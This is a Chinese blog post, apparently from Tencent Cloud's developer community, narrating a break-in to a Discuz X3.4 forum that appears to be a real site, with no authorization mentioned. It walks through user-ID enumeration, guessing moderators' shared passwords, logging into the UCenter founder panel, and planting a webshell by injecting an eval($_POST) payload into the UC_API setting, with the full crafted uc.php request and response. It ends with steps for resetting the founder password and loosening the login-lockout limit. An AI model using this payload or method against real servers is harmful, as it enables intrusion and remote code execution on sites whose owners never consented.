前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次Discuz X3.4后台getshell

记一次Discuz X3.4后台getshell

原创
作者头像
小生观察室
修改2021-11-10 15:19:25
3.2K0
修改2021-11-10 15:19:25
举报
文章被收录于专栏:小生观察室小生观察室

Discuz简介

Discuz 超过300万站长使用,全球成熟度最高、覆盖率最大的建站系统之一,拥有超过5000款应用。

站长可以方便的通过 Discuz 搭建社区论坛、知识付费网站、视频直播点播站、企业网站、同城社区、小程序、APP、图片素材站,游戏交流站,电商购物站、小说阅读、博客、拼车系统、房产信息、求职招聘、婚恋交友等等绝大多数类型的网站。

Discuz自2001年6月面世以来,已有20年的历史,Discuz性能优异、功能全面、安全稳定,在社区论坛(BBS)软件领域全球市场占有率第一。

站长可以不需要任何编程基础,通过简单的安装和设置,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的网站。

Discuz的基础架构采用世界上最流行的web编程组合PHP+MySQL实现,是一个经过完善设计,适用于各种服务器环境的高效建站解决方案.

测试过程

目标站点

通过查看ID号,发现用户量并不多

通过访问ID1 ~ ID52 遍历出对应的用户名信息[home.php?mod=space&uid=1]

随即通过爆破ID号,发现以下ID存在用户信息,其他都提示指定的空间不存在

通过测试发现多个管理员、超级版主、版主等相关用户信息,在测试时发现以下账户名比较随意与目标站点存在关联性且为版主权限

登陆后台

尝试以相同用户名、域名缩写、弱口令等进行组合尝试进行登陆,并获取帐户权限

尝试以版主帐户密码登陆管理中心及Uc_server均失败

随即观察其他超级版主、版主帐户用户名规则发现存在一定的规律,想到可能是一个团队在维护,既然这样的话有没有可能除了管理员权限以外其他版主的密码是通用的呢?尝试以组合出的密码登陆超级版主帐户

登陆成功,并立即设置为隐身模式

继续尝试以超级版主的权限访问管理中心及Uc_server,发现依然均失败,看来还是只能管理员权限才可以访问。

在uc_server管理员登陆旁发现有UCenter创始人登陆口

随即重复之前的方法再试一下,发现登陆成功!

利用UCenter新建管理员帐户或找一个许久未登陆过的管理员帐户进行密码修改并登陆管理中心

后台getshell

1、进入后台选择

站长-UCenter设置,修改UCenter通信密钥小生观察室并记录下来,填入code.php

备注:code.php源码可通过公众号 小生观察室 回复Discuz3.4后台getshell获取

修改

代码语言:javascript
复制
UC_API=http://127.0.0.1/uc_server');eval($_POST[小生观察室]);//

点击保存

2、生成code参数的值

3、将code.php生成的参数带入GET方式发送请求(发送这个请求前后台功能都是不正常的,发送后后台恢复正常)

Request包:

代码语言:javascript
复制
GET /bbs/api/uc.php?code=ffdek%2fR9ZX0zoLetsYN0KGkcGa%2fMJOcsvwIlAZUR%2bXA%2fLhqr1Sg84YWvt3RtqWialTxD1UZhEnqB%2bDlnwRs HTTP/1.1
Host: www.小生观察室.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
Connection: close
Content-Length: 134

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://www.小生观察室.com/bbs/uc_server</item>
</root>

Response包:

代码语言:javascript
复制
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=utf-8
Date: Thu, 30 Jul 2021 11:36:34 GMT
Server: nginx
Set-Cookie: emVP_2132_saltkey=ijzxkE19; expires=Sat, 29-Aug-2021 11:36:34 GMT; Max-Age=2592000; path=/; HttpOnly
Set-Cookie: emVP_2132_lastvisit=1596105394; expires=Sat, 29-Aug-2021 11:36:34 GMT; Max-Age=2592000; path=/
Set-Cookie: emVP_2132_sid=I6W6p8; expires=Fri, 31-Jul-2021 11:36:34 GMT; Max-Age=86400; path=/
Set-Cookie: emVP_2132_lastact=1596108994%09uc.php%09; expires=Fri, 31-Jul-2021 11:36:34 GMT; Max-Age=86400; path=/
Vary: Accept-Encoding
Content-Length: 1

1

4、访问 http://127.0.0.1/config/config_ucenter.php就是的shell地址

附加内容

1、Discuz!UCenter创始人密码重置方法

打开文件/uc_server/data/config.inc.php

修改2处内容:

代码语言:javascript
复制
define('UC_FOUNDERPW', 'c3fd517aa6ad758d7424c3463f440478');
define('UC_FOUNDERSALT', 'test88');

这样UCenter创始人密码就改成了admin888

2、密码错误次数过多

修改核心控制文件,打开 /source/function/function_member.php,查找代码

代码语言:javascript
复制
$return = (!$login || (TIMESTAMP - $login['lastupdate'] > 900)) ? 5 : max(0, 5 - $login['count']);

修改为:

代码语言:javascript
复制
$return = (!$login || (TIMESTAMP - $login['lastupdate'] > 60)) ? 5 : max(0, 5 - $login['count']);

这里900即为秒数,也就是系统限制的15分钟,我们根据自己的需要改变数值即可。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Discuz简介
  • 测试过程
    • 目标站点
      • 登陆后台
        • 后台getshell
          • 附加内容
          相关产品与服务
          数据库
          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档